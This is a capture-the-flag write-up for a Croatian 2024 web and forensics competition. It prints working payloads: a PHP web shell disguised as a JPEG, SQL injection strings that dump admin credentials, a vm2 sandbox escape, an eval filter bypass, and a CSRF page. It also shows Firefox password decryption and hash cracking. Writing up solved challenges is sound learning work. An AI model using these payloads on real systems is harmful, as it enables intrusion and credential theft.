<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
<url>
<loc>/index.html</loc>
<priority>1.0</priority>
</url>
<url>
<loc>/books/VlaukUSnijegu.html</loc>
<priority>0.8</priority>
</url>
<url>
<loc>/books/ZlocinIKazna.html</loc>
<priority>0.8</priority>
</url>
<url>
<loc>/books/RobotsRobotsEverywhere.html</loc>
<priority>0.8</priority>
</url>
<url>
<loc>/private/secret001425346.html</loc>
<priority>0.1</priority>
</url>
</urlset>
And we get a secret private link to exploit
# /private/secret001425346.html
= CTF2024[278975176357]
Metode i opcije
Jura je krenuo proučavati HTTP metode i odlučio je napraviti svoju stranicu na kojoj će ih testirati. Uspjeli ste pronaći njegovu stranicu no izgleda potpuno prazno…
Koje su vam još opcije?
The description makes it very clear that we need to make an OPTIONS request:
$ curl -X OPTIONS http://chal.hackultet.hr:13000 --verbose
* Host chal.hackultet.hr:13000 was resolved.
* IPv6: (none)
* IPv4: 161.53.195.113
* Trying 161.53.195.113:13000...
* Connected to chal.hackultet.hr (161.53.195.113) port 13000
> OPTIONS / HTTP/1.1
> Host: chal.hackultet.hr:13000
> User-Agent: curl/8.7.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 204 No Content
< X-Powered-By: Express
< Allow: OPTIONS, GET, HEAD, POST, UNLOCK
< Date: Mon, 06 May 2024 15:34:50 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
<
* Connection #0 to host chal.hackultet.hr left intact
# Unlock sounds about right
$ curl -X UNLOCK http://chal.hackultet.hr:13000 --verbose
* Host chal.hackultet.hr:13000 was resolved.
* IPv6: (none)
* IPv4: 161.53.195.113
* Trying 161.53.195.113:13000...
* Connected to chal.hackultet.hr (161.53.195.113) port 13000
> UNLOCK / HTTP/1.1
> Host: chal.hackultet.hr:13000
> User-Agent: curl/8.7.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 204 No Content
< X-Powered-By: Express
< Flag: = CTF2024[377047112007]
< Date: Mon, 06 May 2024 15:35:19 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
<
* Connection #0 to host chal.hackultet.hr left intact
And we get the flag.
Profil
Maja je napravila web aplikaciju gdje ljudi mogu pohranjivati svoje tajne. Tvrdi da zbog sofisticiranih algoritma koje koristi nitko ne može vidjeti tuđe tajne, je li zaista tako?
If we register the user null
, login and open up the /profile page,
we get redirected to http://chal.hackultet.hr:13010/profile/bnVsbA==
That part at the end looks like a suspiciously short base64 string
$ echo "bnVsbA==" | base64 -d
null
$ echo -n "admin" | base64 # echo adds a newline by default
YWRtaW4=
$ curl "http://chal.hackultet.hr:13010/profile/YWRtaW4="
<!DOCTYPE html>
<html lang="hr">
...
<h5 class="card-title">Korisničko ime: admin</h5>
<p class="card-text">Tajna: CTF2024[556461166162] IDOR vulnerability</p>
...
</html>
And that’s the flag
Manipulacija
Josip ima puno svojih stranica na web-u i kako bi mogao na jednom mjestu upravljati svim svojim ostalim stranicama, ima svoju vlastitu upravljačku stranicu i sučelje, preko koje upravlja svim ostalim stranicama, a među ostalom i stranicom o psihologiji u ovom zadatku.
Je li Josip na siguran način osigurao da se ovom stranicom o psihologiji može upravljati samo preko njegove upravljačke stranice?
Challenge Overview
Upon opening the admin dashboard, we are greeted with the message: “Samo JosipovPreglednik user-agent je dozvoljen”.
Step 1: Changing User Agent
Following the hint, we change our user agent to “JosipovPreglednik” and refresh the page. We receive the message: “Nedostaje Origin zaglavlje”.
Step 2: Setting Origin Header
Utilizing the browser’s developer tools, we inspect the site’s expected origin, indicated by
the line: Access-Control-Allow-Origin: https://JosipovInterface7.com/
. We then set this origin in the header of our browser.
Step 3: Resolving Authorization Issue
After setting the origin, we encounter another error message: “Nedozvoljen pristup - autorizacija kolačića”.
Step 4: Cookie Inspection
Examining the cookies, we discover one labeled “usage = cm9sZT11c2Vy”. Decoding the base64-encoded value reveals “role=user”. We then modify this to “role=admin”, encode it back to base64, and replace the original value in our browser’s cookie.
Step 5: Obtaining the Flag
Upon refreshing the page with the modified cookie, we successfully bypass authorization and retrieve the
flag: CTF2024[678882248330]
.
Congratulations! Challenge completed.
Safekyll and Hide
Ivo je napravio stranicu za pregledavanje … zajedno sa prijateljem Josipom. Ivo baš i ne zna raditi sa web stranicama za razliku od Josipa, pa često ima ranjivosti kad programira, zato je Josipu dao da napiše najvažniji dio stranice, koji im služi za upravljanje stranicom i njihovu prijavu, a Ivo je napisao ostatak stranice za druge korisnike.
Iako je Josip programirao najvažniji dio stranice za administratorski pristup i upravljanje, a Ivo samo dio stranice za korisnike, je li uistinu Josipov dio stranice dobro zaštićen?
Sounds like we need to exploit the unsafe page to get credentials for the safe part.
We are sent to /userView
and asked to login.
/robots.txt
shows us that we also have a site called /adminView
:
# /robots.txt
User-agent: *
Disallow: /userView
Disallow: /adminView
Going back to /userView
, a simple ' OR 1=1 --
in the username field allows us to
login.
Then we come to a page asking for a number between 1 and 5.
We can use 6 to hide all the useless stuff, and use a UNION SELECT
to:
- get the number of fields:
6' UNION SELECT NULL, NULL, NULL --
Output:
Godina: null Predmet: null Ocjena: null
- get the tables (https://www.sqlinjection.net/table-names/)
6' UNION SELECT table_schema, table_name, 1 FROM information_schema.tables --
Output:
Godina: 1 Predmet: pg_catalog Ocjena: pg_prepared_xacts
Godina: 1 Predmet: pg_catalog Ocjena: pg_stat_bgwriter
...
Godina: 1 Predmet: public Ocjena: admins_table
...
- get
admins_table
columns (https://www.sqlinjection.net/column-names/)
6' UNION SELECT table_name, column_name, 1 FROM \
information_schema.columns WHERE table_name='admins_table' --
Output:
Godina: 1 Predmet: admins_table Ocjena: passwordhash
Godina: 1 Predmet: admins_table Ocjena: username
And then dump it with:
6' UNION SELECT username, passwordhash, 1 FROM admins_table --
Output:
Godina: 1 Predmet: IvoAdmin Ocjena: 735d1e1f8d9277f8ed1dcca80c587ff2afd9af1cb864bea8132c6c188dc9d0b2
Godina: 1 Predmet: JosipAdmin Ocjena: 55762a91364cb53ae97f8979386d7d64d8eceb97d551ea57ce6f05cc036f39a8
Now we just put them into hashes.com
Found:
735d1e1f8d9277f8ed1dcca80c587ff2afd9af1cb864bea8132c6c188dc9d0b2:kraljtomislav:SHA256
Left:
55762a91364cb53ae97f8979386d7d64d8eceb97d551ea57ce6f05cc036f39a8
Finally, we can login into /adminView
with the credentials
IvoAdmin:kraljtomislav
:
= CTF2024[776959788677]
Formule
Jura je jako voli utrke pa je odlučio napraviti svoj web shop u kojem će prodavati stvari na temu formula i utrka. Za sad je dostupan samo jedan proizvod, dok još ne proširi svoju ponudu.
Kako bi promovirao svoj web shop i potaknu ljude na kupnju, svim stvorenim računima Jura je odlučio dodijeliti 10 Eura i jednokratni popust za prvu kupnju od 25%.
Iako na računu nemate dovoljno iznosa za kupovinu artikla, postoji li način da ga ipak uspješno kupite?
The description is pretty obvious about this being a race condition
We can register the user null, and we get a button that adds/removes the discount
Dobrodosao null !
Stanje na racunu: 10 Eura
Guma
Cijena: 1000 Eura
Iskoristen popust: 0 %
[Iskoristi popust] [Buy]
[Logout]
Clicking on [Iskoristi popust]
, we get a 25% discount
What if we clicked on it a bunch of times?
$ for i in {0..4}
for> do curl 'http://chal.hackultet.hr:13006/discount' -X POST -H 'Cookie: connect.sid=...' &
for> done
... a bunch of requests get sent ...
You do need to get a bit lucky so the discounts go in the positive direction, but if you first remove the discount manually, then send 2-4 requests, it usually works
Flag:
= CTF2024[877257703585]
Plaža
Uploadajte svoje slike najdražih morskih školjaka!!
Ana jako voli morske školjke pa je napravila cijelu stranicu za sakupljanje slika morskih školjaka.
The description is clear enough, we have to upload a shell
It’s a php site, and a basic shell looks like this:
<?php system($_GET['cmd']); ?>
If we save it to sh.php and try to upload it, we get a warning that only .jpg, .png and .jpeg files are allowed
After I rename the file to sh.jpg, we get a backend error that the MIME type isn’t an image. An easy fix is to add some magic bytes, found here: https://en.wikipedia.org/wiki/List_of_file_signatures
jpg files have the signature FF D8 FF E8
, or ÿØÿà
.
I still haven’t found a good terminal hex editor, so I do this:
$ echo "\xff\xd8\xff\xe0<?php system(\$_GET['cmd']); ?>" > sh.jpg
$ file sh.jpg
sh.jpg: JPEG image data
And upload it
It gets uploaded correctly, and we get a link to view it:
If we try to open it, the browser complains that the image cannot be displayed because it contains errors.
A simple fix is to use Edit and Resend
from the firefox network view,
and change the filename from .jpg
to .php
when uploading the image.
That helps us bypass the frontend extension check, but we get a different error:
Backend: detektirana .php ekstenzija
If you’ve done file upload challenges before, you know PHP has a bunch of valid extensions.
Common ones you’ll see are: .php4
, .php5
and .phtml
Sometimes .asp
or .aspx
work as well if it’s on a Windows server (lmao)
After some unsuccesful tests, you’ll find that .phtml
works.
# /uploads/5d5e76944b9a2ab9_sh.phtml
����
Warning: Undefined array key "cmd" in /var/www/html/uploads/5d5e76944b9a2ab9_sh.phtml on line 1
Deprecated: system(): Passing null to parameter #1 ($command) of type string is deprecated in /var/www/html/uploads/5d5e76944b9a2ab9_sh.phtml on line 1
Fatal error: Uncaught ValueError: system(): Argument #1 ($command) cannot be empty in /var/www/html/uploads/5d5e76944b9a2ab9_sh.phtml:1 Stack trace: #0 /var/www/html/uploads/5d5e76944b9a2ab9_sh.phtml(1): system('') #1 {main} thrown in /var/www/html/uploads/5d5e76944b9a2ab9_sh.phtml on line 1
From here, we can use curl to be a bit faster:
$ curl "http://chal.hackultet.hr:13009/uploads/5d5e76944b9a2ab9_sh.phtml?cmd=ls"
����4277f467626f2d0e_sh.jpg
5d5e76944b9a2ab9_sh.phtml
989d09932851733f_sh.jpg
cc753ab8e590981a_sh.jpg
index.html
# you need to encode the spaces
$ curl "http://chal.hackultet.hr:13009/uploads/5d5e76944b9a2ab9_sh.phtml?cmd=ls%20.."
����footer.php
header.php
health
index.php
sea.jpg
seashells.jpg
style.css
uploads
user.php
...
$ curl "http://[URL]?cmd=cat%20../../../admin_bitno/db/users.db" > users.db
From here, you first have to remove the 4 jpg magic bytes from the start, and you can open up users.db in sqlitebrowser to find the base64 encoded flag:
$ clippaste | base64 -d
CTF2024[778083801487]
Pješčanik
Josip je čuo od drugih prijatelja da su za svoje projekte ručno osiguravali sandboxove na serverima i da je to bilo problematično, pa je odlučio iskoristiti neki postojeći sandbox module na svojem node serveru. Radi nekih bugova pri novijim verzijama, odlučio je koristiti stariju verziju modula. Ako vas zanima više o izvedbi Josipovog sandboxa, posjetite stranicu “O sandboxu”
We got the server.js and package-lock.json files. We looked into them a bit and from the following we concluded that vm module is probably our easiest entry point:
...
try{
const result = await vm.run( userInput, 'vm.js' );
console.log("vm run ",result);
const data = {
calculation: result
}
res.render("index",data)
}
...
...
"node_modules/vm2": {
"version": "3.9.0",
"resolved": "https://registry.npmjs.org/vm2/-/vm2-3.9.0.tgz",
"integrity": "sha512-Bsnvxu50AryMYOsarSAuFmmAQO5X/H5fF/VCVkcDKTj3slrpHQuepUP45U90aaqjk4OdNmlmHfoF6oou3aUJRw==",
"deprecated": "The library contains critical security issues and should not be used for production! The maintenance of the project has been discontinued. Consider migrating your code to isolated-vm.",
"bin": {
"vm2": "bin/vm2"
},
"engines": {
"node": ">=6.0"
}
}
...
After searching on google a bit we found the following exploit:
https://security.snyk.io/vuln/SNYK-JS-VM2-5537100
const err = new Error();
err.name = {
toString: new Proxy(() => "", {
apply(target, thiz, args) {
const process = args.constructor.constructor("return process")();
throw process.mainModule.require("child_process").execSync("ls").toString();
},
}),
};
try {
err.stack;
} catch (stdout) {
stdout;
}
const err = new Error();
err.name = {
toString: new Proxy(() => "", {
apply(target, thiz, args) {
const process = args.constructor.constructor("return process")();
throw process.mainModule.require("child_process").execSync("cat s3cr3tf01d3r/f14g_048x6z43y7.txt").toString();
},
}),
};
try {
err.stack;
} catch (stdout) {
stdout;
}
The flag: CTF2024[293455399515]
InFilterAcija
Ante je odlučio napraviti stranicu za informatiku na kojoj će se moći koristiti njegove funkcije za pretvorbu dekadskih brojeva u druge baze, zbrajanja i oduzimanje i druge razne funkcionalnosti.
Tu stranicu želi stavit da bude dostupna cijelom njegovom razredu kako bi im svima pomogao sa učenjem informatike, pa je zato ipak trebao malo pripaziti i ograničiti korištenje svoje stranice. Je li Ante dovoljno zaštitio svoju stranicu?
We were given the server.js file. The most important parts of the file were:
function FilterOutput(output) {
corectness = true
forbiddenWords = ["CTF2024","4202FTC","flag","server.js"]
for (const s of forbiddenWords){
if (String(output).toUpperCase().includes(s.toUpperCase())){
console.log("Forbidden output --")
corectness = false;
break
}
}
return corectness;
}
function FilterInput(input) {
corectness = true
forbiddenLogic = ["while","for","eval","app","module","fs","global","object","window",
"error","throw","name","proxy","args"]
forbiddenWords = ["CTF2024","4202FTC","forbiddenLogic","forbiddenWords","calculation","userInput","flag",
"FilterInput","FilterOutput","corectness","bodyParser","staticPath","path","data"]
for (const s of forbiddenLogic.concat(forbiddenWords)){
if ( input.toUpperCase().includes(s.toUpperCase()) ){
console.log("Forbidden input -- ", s)
corectness = false;
break
}
}
return corectness;
}
...
app.post('/postData', async function (req, res) {
userInput = req.body.calc1
inputCorrectness = FilterInput(userInput);
if (inputCorrectness == true) {
console.log(userInput);
try{
var calculation = eval(
"PI_Digits = 3141592;" +
"TEN = 10;" +
"LuckyNumber = 7;" +
"function Bin(x) { return parseInt(x).toString(2)} " +
"function Hex(x) { return parseInt(x).toString(16)} " +
"function Octal(x) { return parseInt(x).toString(8)} " +
"function Tern(x) { return parseInt(x).toString(3)} " +
"function Sept(x) { return parseInt(x).toString(3)} " +
userInput
);
outputCorrectness = FilterOutput(calculation)
if (outputCorrectness == true) {
const data = {
calculation: calculation
}
res.render("index",data)
}
else{
const data = {
message: "Forbidden output"
}
res.render("error",data)
}
}
catch(error){
const data = {
message: error
}
res.render("error",data)
}
}
else{
const data = {
message: "Forbbidden input"
}
res.render("error",data)
}
});
...
We immedieately figured we have to bypass the filters somehow, and after some tinkering around we arrived to the final exploit:
btoa(require('ps'.replace("p", "f")).readFileSync("fl4g_035z6s43x6.txt"))
From which we received: Q1RGMjAyNFsyMjIwODc2NDc1NjddCg==
, which we simply decoded from
base64.
The flag: CTF2024[222087647567]
ToDo lista
Andrija je napravio stranicu da bi pomogao svojim prijateljima da mogu stvarati svoje to do liste na stranicu. Zna što je SQL injection, pa je bio pažljiv na mjestima gdje se korisnički unos šalje prema bazi, barem tako misli. Je li Andrija ipak ostavio neki propust?
We got the source code!!
I love source-available web challs, they’re so much better than random guessing
We can find the exploit pretty quickly:
# app.py #96
elif request.method == 'POST':
try:
cursor.execute(f"SELECT * FROM {table_name} WHERE user = '{username}'")
...
We inject into the username. From the imports we know we’re attacking SQLite,
so we do this to get the tables:
(after doing the UNION SELECT NULL, NULL, NULL trick
to get the number of columns in the result)
https://stackoverflow.com/a/5335100 for the query
$ curl -X POST http://chal.hackultet.hr:13002/register \
--data "username=' OR 1=1 UNION SELECT NULL, name, NULL \
FROM sqlite_master WHERE type='table' --\
&password=password&passwordCheck=password" \
--verbose;
...
< Set-Cookie: session=...; HttpOnly; Path=/
...
$ curl -X POST http://chal.hackultet.hr:13002/ -H "Cookie: session=..."
...
<li class="subtitle is-4 task-item">
ID: None | User: SECRET_CONF | Zadatak: None
<form method="post" action="/remove_task/None">
<button type="submit" class="remove-button">Remove</button>
</form>
</li>
<li class="subtitle is-4 task-item">
ID: None | User: table_3cb6fee62507_todolist | Zadatak: None
<form method="post" action="/remove_task/None">
<button type="submit" class="remove-button">Remove</button>
</form>
</li>
<li class="subtitle is-4 task-item">
ID: 1 | User: AndrijaPoruka | Zadatak: Javite mi dojmove o stranici
<form method="post" action="/remove_task/1">
<button type="submit" class="remove-button">Remove</button>
</form>
</li>
the same thing with the column query from here: https://stackoverflow.com/a/54962853
username=' UNION SELECT NULL, name, NULL from pragma_table_info('SECRET_CONF')
Gives us the table names:
<li class="subtitle is-4 task-item">
ID: None | User: id | Zadatak: None
<form method="post" action="/remove_task/None">
<button type="submit" class="remove-button">Remove</button>
</form>
</li>
<li class="subtitle is-4 task-item">
ID: None | User: ssh_creds | Zadatak: None
<form method="post" action="/remove_task/None">
<button type="submit" class="remove-button">Remove</button>
</form>
</li>
Finally, we can use:
username=' OR 1=1 UNION SELECT NULL, id, ssh_creds from SECRET_CONF --
Outputs:
<li class="subtitle is-4 task-item">
ID: None | User: 1 | Zadatak: CTF2024[596896021687]
<form method="post" action="/remove_task/None">
<button type="submit" class="remove-button">Remove</button>
</form>
</li>
<li class="subtitle is-4 task-item">
ID: 1 | User: AndrijaPoruka | Zadatak: Javite mi dojmove o stranici
<form method="post" action="/remove_task/1">
<button type="submit" class="remove-button">Remove</button>
</form>
</li>
And get the flag: CTF2024[596896021687]
Webpage Social
Antonio je odlučio napraviti “Webpage Social” stranicu koja će služiti da ljudi stavljaju primjere svojih web stranica i dijele ih međusobno. Ako želite da Antonio pogleda vašu stranicu postavite primjer na stranicu. Korisnici koje Antonio prati imaju pristup posebnim materijalima.
Stranica je još u fazi beta testiranja, te su dostupne samo funkcionalnosti stvaranje primjera web stranica koje mogu vidjeti samo Antonio i korisnik koji je stvorio stranicu, kao i pregled svih drugih korisničkih računa i praćenje računa, što je također dostupno samo između Antonia i pojedinog korisnika radi testiranja.
Svaki korisnik može objaviti najviše tri primjera, nakon čega se pri objavi novog primjera najstariji objavljeni primjer briše.
Antonio redovito pregledava postavljene stranice, svakih par minuta.
Možete li stvoriti stranicu koja će odmah Antonia “potaknuti” da vas zaprati?
Web aplikacija se nalazi na URL-u http://chal.hackultet.hr:13020/
If we follow/unfollow ourselves, we see a POST request to /profile/2
.
We can select the request and Copy as Fetch
to get the JS required to repeat it
Now we can make the admin follow us by making them visit a site that executes the fetch call we copied.
(the body usually has a csrf token, but we can just delete it and the site doesn’t care)
Exploit:
<!-- coolsite.html -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>lmao u got hacked</title>
</head>
<body>
<h1>Hello, world!</h1>
<script>
fetch("http://chal.hackultet.hr:13020/profile/2", {
"credentials": "include",
"headers": {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Content-Type": "application/x-www-form-urlencoded",
},
"referrer": "http://chal.hackultet.hr:13020/profile/2",
"body": "follow=follow",
"method": "POST",
"mode": "cors"
});
</script>
</body>
</html>
After the admin follows us, we can access to the special page, and get the flag:
= CTF2024[581251380884]
Knjiga i stripovi
We have two SQL injections and a fileio plugin file
You can load an extension in SQLite, but you can’t use it in the same query, and it also won’t persist across requests.
Thankfully, we have 2 injections:
The payloads are:
' UNION SELECT NULL,load_extension('/usr/src/app/fileio.so'),NULL,NULL --
' UNION SELECT NULL, readfile("/usr/src/app/secret.conf"), NULL, NULL --
And they give us the flag:
...
Rezultati pretraživanja stripova:
b'CTF2024[845426795144]', autor: None, godina: None
...
Forenzika
Aksulj
Naša konkurencija se nekako uvijek uspije dočepati naših tajnih recepata. Recepti su pohranjeni na serveru kojem bismo samo mi trebali imati pristup. Počeli smo snimati mrežni promet na našem serveru, možeš li nam pomoći saznati što se događa i što je točno ukradeno?
Let’s open up net.pcap
in Wireshark
We have a bunch of HTTP data.
Since it’s usually the solution for these types of problems, let’s look at the transferred HTTP Objects (File > Export Objects > HTTP)
We can save them all, and find absolutely nothing useful…
Let’s filter out the biggest ones:
!(tcp.stream eq 3) && !(tcp.stream eq 0) && !(tcp.stream eq 4) && !(tcp.stream eq 7)
From here, tcp stream 5 looks interesting, because it has Websocket data.
Following it, we see some interesting things:
And finally:
$ clippaste | base64 -d > file.7z
$ 7z x file.7z
7-Zip [64] 17.05 : Copyright (c) 1999-2021 Igor Pavlov : 2017-08-28
p7zip Version 17.05 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,6 CPUs x64)
Scanning the drive for archives:
1 file, 258 bytes (1 KiB)
Extracting archive: file.7z
--
Path = file.7z
Type = 7z
Physical Size = 258
Headers Size = 194
Method = LZMA2:12 7zAES
Solid = -
Blocks = 2
Enter password (will not be echoed):
Oh, we missed a password somewhere.
Thankfully, it’s in the same websocket stream we followed:
7z a info.7z /root/info -pA7r1d7hhu
Inputting the password A7r1d7hhu
, we get the file flag
:
$ cat flag
CTF2024[479117885546]
Kradljivac tajnih recepta
Istražitelji su zaplijenili laptop osobe za koju se sumnja da je operater ilegalne trgovine tajnim receptima za kolače. S tobom je podijeljena djelomična slika diska “home.zip”: https://cumulus.carnet.hr/index.php/s/iYSYrH8Gr455cnx
**Zabranjeno je napadati cumulus.carnet.hr , on služi samo kao file hosting **
U ovoj seriji zadataka moraš pronaći razne informacije o osumnjičenom. Zadaci su neovisni jedni o drugom i ne moraju biti rješavani po redu
Napomena: Izmijenili smo link s kojeg se preuzima file, ali je sadržaj ostao isti
Part 1
Za početak možeš li vidjeti je li osumnjičeni primio išta zanimljivo putem e-Maila?
We’re given a user’s home directory. The first task asks for the users e-Mail messages
The obvious first choice is .thunderbird/vrzjpn2t.default-release/Mail/
Here, we have two options
$ ls
drwxr-xr-x - tonik 13 Feb 15:30 'Local Folders'
drwxr-xr-x - tonik 5 Apr 10:10 outlook.office365.com
I use ripgrep to search for flag
:
$ rg flag
Local Folders/Trash.msf
4: (84=references)(85=recipients)(86=date)(87=size)(88=flags)(89=priority)
Local Folders/Unsent Messages.msf
4: (84=references)(85=recipients)(86=date)(87=size)(88=flags)(89=priority)
outlook.office365.com/Trash.msf
17: (87=size)(88=flags)(89=priority)>
outlook.office365.com/Inbox.msf
7: (84=references)(85=recipients)(86=date)(87=size)(88=flags)(89=priority)
outlook.office365.com/Inbox
278:r flag emails, and archive to help you stay organized =96 even sweep away a=
16107:Content-Type: image/png; name="flag.png"
16108:Content-Description: flag.png
16109:Content-Disposition: attachment; filename="flag.png"; size=11369;
And we see an image in outlook.office365.com/Inbox
After a bit of guessing the length:
$ cat outlook.office365.com/Inbox | grep "flag.png" -A 210
Content-Type: image/png; name="flag.png"
Content-Description: flag.png
Content-Disposition: attachment; filename="flag.png"; size=11369;
creation-date="Fri, 05 Apr 2024 08:10:12 GMT";
modification-date="Fri, 05 Apr 2024 08:10:20 GMT"
Content-Transfer-Encoding: base64
iVBORw0KGgoAAAANSUhEUgAABIAAAAKICAYAAAAIK4ENAAAAAXNSR0IArs4c6QAAAARnQU1BAACx
jwv8YQUAAAAJcEhZcwAAEnQAABJ0Ad5mH3gAACv+SURBVHhe7d3nu2VpXaDhzqm6uqu7ujpjFrNi
... more base64 data ...
AIYTgAAAAACGE4AAAAAAhhOAAAAAAIYTgAAAAACGE4AAAAAAhhOAAAAAAIYTgAAAAACGE4AAAAAA
Rnvc7v8DNLKJ3o5a50EAAAAASUVORK5CYII=
--_004_DB9P190MB172164E2CBE7F48FAF70C3FADD032DB9P190MB1721EURP_--
From - Fri Apr 5 10:15:20 2024
X-Account-Key: account4
X-UIDL: 37
We can decode it and look at it to see the flag
$ clippaste | base64 -d > flag.png
$ icat flag.png
-- a bright green background with black text of the flag --
$ tesseract flag.png out -l hrv && cat out.txt
CTF2024[182734068591]
Part 2
Možeš li saznati koje sve web stranice je osumnjičeni posjećivao?
To see the websites, we check the firefox folder.
There was no profile folder under .mozilla
, so we search for folders containing
.default
$ fd --hidden ".default"
.cache/thunderbird/f5u8qy7m.default/
.cache/thunderbird/vrzjpn2t.default-release/
.config/pulse/78356c4ec96f4a7fb9ad0e828d393ce8-default-sink
.config/pulse/78356c4ec96f4a7fb9ad0e828d393ce8-default-source
.thunderbird/f5u8qy7m.default/
.thunderbird/vrzjpn2t.default-release/
snap/firefox/common/.cache/mozilla/firefox/xzq03snd.default/
snap/firefox/common/.mozilla/firefox/xzq03snd.default/
The last one is the one we’re looking for:
$ cd snap/firefox/common/.mozilla/firefox/xzq03snd.default/
$ ls
drwxr-xr-x - tonik 27 Feb 10:22 bookmarkbackups
drwx------ - tonik 9 Apr 09:05 crashes
...
.rw------- 295k tonik 5 Apr 09:37 key4.db
.rw-r--r-- 2.0k tonik 5 Apr 09:38 logins-backup.json
.rw-r--r-- 1.9k tonik 5 Apr 10:02 logins.json
.rw-r--r-- 98k tonik 9 Apr 09:15 permissions.sqlite
.rw------- 488 tonik 13 Feb 15:31 pkcs11.txt
.rw-r--r-- 5.2M tonik 9 Apr 09:15 places.sqlite
...
We see a whole bunch of files, but the interesting one is places.sqlite
https://support.mozilla.org/en-US/kb/profiles-where-firefox-stores-user-data
If we open it up in sqlitebrowser, we can see a bunch of sites in moz_places
The really interesting one is near the end:
id url
...
29 https://pastebin.com/
33 https://pastebin.com/yxEJ3diP
34 https://github.com/
The pastebin link contains the flag: CTF2024[548019278364]
Part 3
Istražiteljima bi bilo jako korisno kad bi saznali lozinku koju je osumnjičeni koristio za prijavu na razne web stranice, možeš li ju pronaći?
Alright, passwords shouldn’t be too hard.
Someone’s probably already done the hard work of decrypring logins.json
After a bit of searching, i found this:
/main target=_blank rel=noopener>https://github.com/unode/firefox_decrypt/tree/main
It gives us the flag:
# snap/firefox/common/.mozilla/firefox/xzq03snd.default
$ py firefox_decrypt.py .
2024-05-06 00:13:28,422 - WARNING - profile.ini not found in .
2024-05-06 00:13:28,422 - WARNING - Continuing and assuming '.' is a profile location
Website: https://flag
Username: 'jurica'
Password: 'CTF2024[645346721479]'
Website: https://example.com
Username: 'example'
Password: 'anexmaplepassword'
Website: https://wikipedia.com
Username: 'wiki'
Password: 'onemorefakepassword'
Part 4
Istražiteljima bi bilo jako korisno kada bi saznali IP adresu servera na koji se osumnjičeni spajao SSH-om.
Flag je IP adresa na koju se osumnjičeni spajao bez točaka, npr ako je IP adresa 192.168.1.2, onda bi flag bio CTF2024[19216812]
We need to find the addresses the user connected to with ssh.
Reading .ssh/known_hosts
, we see something weird:
$ cat known_hosts
|1|rS7FUkBvp6DssPFvRd4WwURfrq0=|TM/YDurUcZj5m5KMyJiKKocvidg= ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFv60BEHN2dnL0WFGGERg4O4h23j0Me1Tzg5tSiTY8g5
I haven’t seen that before.
Searching the internet mostly only gives you confused people who turned the encryption on by accident
But I found this useful thing: https://github.com/chris408/known_hosts-hashcat
And tried it out:
$ hashcat -m 160 --hex-salt hash -a 3 ipv4_hcmask.txt
hashcat (v6.2.6) starting
* Device #1: WARNING! Kernel exec timeout is not disabled.
This may cause "CL_OUT_OF_RESOURCES" or related errors.
To disable the timeout, see: https://hashcat.net/q/timeoutpatch
* Device #2: WARNING! Kernel exec timeout is not disabled.
This may cause "CL_OUT_OF_RESOURCES" or related errors.
To disable the timeout, see: https://hashcat.net/q/timeoutpatch
CUDA API (CUDA 12.4)
====================
* Device #1: NVIDIA GeForce GTX 1650, 3056/3894 MB, 14MCU
OpenCL API (OpenCL 3.0 CUDA 12.4.131) - Platform #1 [NVIDIA Corporation]
========================================================================
* Device #2: NVIDIA GeForce GTX 1650, skipped
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
...
// after ~5 minutes
4ccfd80e...:10.53.235.39
And we got the flag:
CTF2024[105323539]
Part 5
Pronašli smo i zaplijenili server na koji se osumnjičeni spajao, u njemu su se nalazila 3 diska. Međutim kada smo ga učitali u naš najnoviji forenzički softver, nismo uspjeli pročitati njihov sadržaj. Možeš li nam pomoći?
Alright, we got some raid disks, we just need to mount them and read the password.
This is more of a linux challenge that forensics imo, but I’m not complaining
$ losetup /dev/loop1 disk1.dd
$ losetup /dev/loop2 disk2.dd
$ losetup /dev/loop3 disk3.dd
$ sudo mdadm --assemble /dev/md1 /dev/loop1 /dev/loop2 /dev/loop3 --run
mdadm: /dev/md1 has been started with 3 drives.
$ mkdir md1
$ sudo mount /dev/md1 md1
$ cd md1
$ ls
.rwxrwxrwx 21M root 30 Apr 15:06 archive.zip
.rwxrwxrwx 39 root 30 Apr 15:06 zip_lozinka.txt
$ cat zip_lozinka.txt
Lozinka za ZIP (ne flag) je lozinka123
$ 7z x archive.zip -plozinka123
...
$ ls
.rwxrwxrwx 21M root 30 Apr 15:06 archive.zip
.rwxrwxrwx 4.0k root 26 Apr 16:09 flag.png
.rwxrwxrwx 21M root 30 Apr 15:06 randomgarbage.txt
.rwxrwxrwx 39 root 30 Apr 15:06 zip_lozinka.txt
$ icat flag.png
-- black text on white background --
$ tesseract flag.png out -l hrv && cat out.txt
Estimating resolution as 135
CTF2024[321637860599]
Part 6
Istažitelji su pronašli 2 eksterna diska, jedan je šifriran LUKS enkripcijom, na drugom se nalazio backup LUKS zaglavlja.
Osumnjičeni kaže kako je nedavno promijenio enkripcijsku lozinku na eksternom disku, i da je lozinka toliko dugačka da ju se ni sam više ne sjeća. Također, tvrdi da je prije koristio jako slabu lozinku, koja se sastojala od svega 3 znamenke, ali da nam to neće koristiti.
Sumnjamo da se na disku nalaze vrijedni forenzički tragovi, možeš li nekako ipak dešifrirati šifrirani LUKS disk?
This one was pretty interesting, but very slow. Cracking LUKS took a long time
Cracking
I had no luck with hashcat, but this other program looked promising:
https://github.com/glv2/bruteforce-luks
I installed it, and followed the README (I love the AUR btw)
$ paru -Sy bruteforce-luks
$ py -c "for x in range(1000): print(str(x).zfill(3))" > dict
$ bruteforce-luks -f dict -v 60 -t 2 luks_header_backup_1_2_2023
Warning: using dictionary mode, ignoring options -b, -e, -l, -m and -s.
... a coffee break later ...
Password found: 123
The program was pretty buggy, and it only got ~0.3 hashes/second
Trying to go for more than 2 threads got into a deadlock almost instantly
(Afterwards, most people told me they just guessed the password. That would have probably saved me some time)
Decryption
Now, LUKS is pretty interesting.
It uses a single “master key”, and the password is only used to decrypt the master key
When a new password is created, it is added to a new slot, and both passwords can be used to decrypt the master key.
That means we can change the new “secure” header with the old header we just cracked
